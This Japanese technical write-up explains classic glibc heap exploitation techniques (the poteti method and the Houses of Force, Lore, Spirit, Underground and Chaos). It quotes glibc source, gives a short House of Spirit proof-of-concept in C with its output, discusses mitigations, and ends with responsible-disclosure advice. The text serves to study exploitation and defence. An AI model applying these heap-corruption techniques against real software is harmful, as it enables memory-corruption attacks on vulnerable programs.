poteti method

標準で0x10000バイト以上のchunkがfreeされたとき、通常連結されない各fastbin chunkの前後を連結してunsortedbinに入れる次のような処理が走る(デフラグのようなイメージ)。

3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
4061     /*
4062       If freeing a large space, consolidate possibly-surrounding
4063       chunks. Then, if the total unused topmost memory exceeds trim
4064       threshold, ask malloc_trim to reduce top.
4065
4066       Unless max_fast is 0, we don't know if there are fastbins
4067       bordering top, so we cannot tell for sure whether threshold
4068       has been reached unless fastbins are consolidated.  But we
4069       don't want to consolidate on each free.  As a compromise,
4070       consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
4071       is reached.
4072     */
4073
4074     if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
4075       if (have_fastchunks(av))
4076         malloc_consolidate(av);
....
4092     }
4122 static void malloc_consolidate(mstate av)
4123 {
....
4148     unsorted_bin = unsorted_chunks(av);
....
4158     maxfb = &fastbin (av, NFASTBINS - 1);
4159     fb = &fastbin (av, 0);
4160     do {
4161       p = atomic_exchange_acq (fb, 0);
4162       if (p != 0) {
4163         do {
4164           check_inuse_chunk(av, p);
4165           nextp = p->fd;
....
4179           if (nextchunk != av->top) {
....
4188             first_unsorted = unsorted_bin->fd;
4189             unsorted_bin->fd = p;
4190             first_unsorted->bk = p;
....
4201           }
....
4209         } while ( (p = nextp) != 0);
4210
4211       }
4212     } while (fb++ != maxfb);

freeされるchunkのサイズを0x10000(FASTBIN_CONSOLIDATION_THRESHOLD)以上に書き換えた上で、偽のarenaのbin[0] = unsortedbinを細工しunsorted_bin->fd->bkを適当なアドレスにしておくことで、上記の処理が走りそのアドレスをchunkのアドレスに書き換えることができる。

House of Force (top chunk size overwrite)

ヒープの最後にあるtop chunkのsizeを-1(0xffffffff)に書き換え、続けて巨大なサイズのmallocを行うことで、top chunkを指すポインタが一周した先にある任意の0x10の倍数となるアドレスにできる。 続けてbinに何も繋がっていないサイズのmallocを行うことでそのアドレスが返ってくる。

Malloc Des-Maleficarum」では、ヒープより上にあるGOTなどを書き換えるにはmallocに負となるようなサイズを与える必要があり、そのようなサイズは多くの場合(malloc外の箇所で)セグメント違反を起こすと指摘しているが、原理的には可能である。

具体的なコードは「glibc malloc exploit techniques」を参照。

著者が2004年に「Exploiting the Wilderness」で書いた話を、glibcの修正に合わせて再編成したもの。 Doug Lea malloc(dlmalloc)において、top chunkはwildernessと呼ばれるらしい。 名付け親のKiem-Phong Vo氏は当時AT&Tベル研究所、現在はGoogleのResearch Scientistとのこと。

House of Lore (arbitrary address into smallbin)

unlinkに行われた対策が、malloc時にsmallbinからchunkを取り出す際に行われていなかったことを利用する。 具体的には、適当なfreed chunkのbk(victim->bk)を書き換えておき、繰り返しmallocを呼ぶことにより任意のアドレスをsmallbin(bin->bk)に入れる。

      .....
      if ( (victim = last(bin)) != bin) {
        if (victim == 0) /* initialization check */
          malloc_consolidate(av);
        else {
          bck = victim->bk;
          set_inuse_bit_at_offset(victim, nb);
          bin->bk = bck;
          bck->fd = bin;
          ...
          return chunk2mem(victim);
      .....

smallbinはFIFOでありvictimはbin->bkから選ばれるようになっているので、続けてmallocを呼ぶことでそのアドレスが返ってくる。 ただし、victim->bk->fdが書き換え可能なアドレスを指すようにしておく必要がある。

1411 #define last(b)      ((b)->bk)

現在の実装ではunlinkと同様の対策が加えられているため、相当の工夫をしない限り成立しない。

3318 static void *
3319 _int_malloc (mstate av, size_t bytes)
3320 {
....
3416               bck = victim->bk;
3417         if (__glibc_unlikely (bck->fd != victim))
3418                 {
3419                   errstr = "malloc(): smallbin double linked list corrupted";
3420                   goto errout;
3421                 }
3422               set_inuse_bit_at_offset (victim, nb);
3423               bin->bk = bck;
3424               bck->fd = bin;

また、「The House Of Lore: Reloaded」ではlargebinを用いる手法について考察されているが、こちらも現在の実装では対策されている。

3318 static void *
3319 _int_malloc (mstate av, size_t bytes)
3320 {
....
3720               size = chunksize (victim);
3721 
3722               /*  We know the first chunk in this bin is big enough to use. */
3723               assert ((unsigned long) (size) >= (unsigned long) (nb));
3724 
3725               remainder_size = size - nb;
3726 
3727               /* unlink */
3728               unlink (av, victim, bck, fwd);

一方、fastbinの場合は対象となるアドレスがfastbinの制約を満たすようにしておくことで現在も可能である。 詳細はfastbins unlink attackを参照。

House of Spirit (fake chunk into fastbin)

mallocで確保されたポインタをバッファオーバーフロー等で書き換えてそのままfreeさせることで、fake fastbin chunkが置かれている任意のアドレスをfastbinに入れることができる。 続けてmallocを呼ぶことでそのアドレスが返ってくる。

具体的なコードを書くと次のようになる。

/* house_of_spirit.c */
#include <stdio.h>
#include <stdlib.h>

int main()
{
    struct {
        char buf[0x50];
        char *p;
    } block;

    block.p = malloc(0x100);

    /* trigger buffer overflow */
    *(void **)(block.buf+0x8) = 0x41;   /* fake1->size */
    *(void **)(block.buf+0x48) = 0x41;  /* fake2->size */
    block.p = block.buf+0x10;           /* fake1 */

    printf("[+] freeing fake1 = %p\n", block.p);
    free(block.p);

    char *p = malloc(0x30);             /* fake1->size - 0x10 */
    printf("p = %p\n", p);

    return 0;
}
$ gcc house_of_spirit.c -o house_of_spirit
house_of_spirit.c: In function ‘main’:
house_of_spirit.c:15:31: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(block.buf+0x8) = 0x41;   /* fake1->size */
                               ^
house_of_spirit.c:16:32: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(block.buf+0x48) = 0x41;  /* fake2->size */
                                ^

$ ./house_of_spirit
[+] freeing fake1 = 0x7fff2bf30700
p = 0x7fff2bf30700

ここで、fake fastbin chunkの次のchunkとなる箇所に適当なサイズを置いておく必要があることに注意。

3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
3897     if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
3898         || __builtin_expect (chunksize (chunk_at_offset (p, size))
3899                              >= av->system_mem, 0))
3900       {
3901         /* We might not have a lock at this point and concurrent modifications
3902            of system_mem might have let to a false positive.  Redo the test
3903            after getting the lock.  */
3904         if (have_lock
3905             || ({ assert (locked == 0);
3906                   mutex_lock(&av->mutex);
3907                   locked = 1;
3908                   chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
3909                     || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
3910               }))
3911           {
3912             errstr = "free(): invalid next size (fast)";
3913             goto errout;
3914           }
....
3920       }

当時はこのような攻撃の可能性も存在したが、現在はStack-Smashing Protection(SSP)によりバッファがポインタより下のアドレスに確保されるようになり、さらにASLRによりスタックアドレスの推測も難しくなったため、その可能性は小さくなった。

House of Underground (Spirit and Mind)

Malloc Des-Maleficarum」で補足されている章。

Spiritでfreeされるfake chunkのNON_MAIN_ARENAフラグを立てておくことで、Mind同様にfake arenaを参照させることも考えられるという話。 当然スタック上の0x100000バイト境界をコントロールできる必要があるため、成立しにくい。

House of Chaos

最後の章には後書きとしてポエムが書いてある。 真の「プロ」(virtual adept)ことPhantasmal Phantasmagoriaからのメッセージをお読みください。

Chaosの一族


Virtuality、それは真の「プロ」と情報の二項対立であり、真の「プロ」は情報の無限の可能性を表し、また情報は無限の可能性の有限における顕現である。真の「プロ」はVirtualityの意識の部分であり、その本質は情報を生み出し拡散することにある。これが真の「プロ」が知るすべてであり、真の「プロ」が関心のあるすべてである。

あなたが幅広い知識を持ち非常に創造的な人と話すとき、たしかにあなたはハッカーと話しているのかもしれない。しかし、あなたは真の「プロ」と決して話すことはないだろう。真の「プロ」に物質的な形はなく、バーチャルの中にのみ存在する。真の「プロ」は物質の中にあるかもしれないし、ある人の中にあるかもしれない、しかしその存在自体は意識とは区別され完全に独立したものである。

所有の概念は真の「プロ」にとって意味をなさない。すべての情報はVirtualityに属し、Virtualityのみがある。このため、真の「プロ」にコンピュータセキュリティの概念はない。情報は要求によりVirtualityから呼び起こされる。Virtualityに権限レベルやシステム間の論理障壁、違法性の観点といったものはない。情報や、呼び起こすことのできるそれらのみがある。

真の「プロ」はそれ自身により作られる情報といったものを持たず、ゆえにそれから利益を得る権利や欲望を持たない。真の「プロ」は純粋に情報に情報自身の無限の可能性を示すため、そしてすべての意識体にとって有益な情報アクセスの複雑性を最小化するために存在する。情報でないものは真の「プロ」、金、名声、権力に結び付くことはない。


        私はハッカーであるか?いいえ。
        私は仮想世界に生きる見習いである。
        私はmallocの魔女であり、
        私は異世界のカルトであり、
        私はエントロピーである。
        私はPhantasmal Phantasmagoria
        真の「プロ」。

なお、virtual adeptは仮想世界の熟練者といった意味であるが、ここではいまどきの若者にも通じるように真の「プロ」と訳した。

所感

glibcでのチェック強化とNX、ASLRの普及により、House of Force以外の手法はほぼ力を失ったといえる。 また、House of Loreはfastbins unlink attackという形で姿を変えて生き残っているといえるだろう。

注意事項

このテキストはglibcに加えられた対策の不備を指摘する話であり単体で悪用可能なものではないが、商用製品やWebアプリケーションで直接的に悪用可能なものを一般に公表すると不正アクセス禁止法業務妨害罪の従犯、あるいは名誉毀損をもたらす不法行為として損害賠償義務が生じるおそれがあるため真似してはいけません。 そのような不審物を見つけた際はIPA情報処理推進機構届出を行い、修正されるのを待ちましょう。 また、企業として専用の窓口を用意しているところもあります。

OSSであれば修正パッチを送ると開発者コミュニティの求める方法で報告すると喜ばれるかもしれません。

関連リンク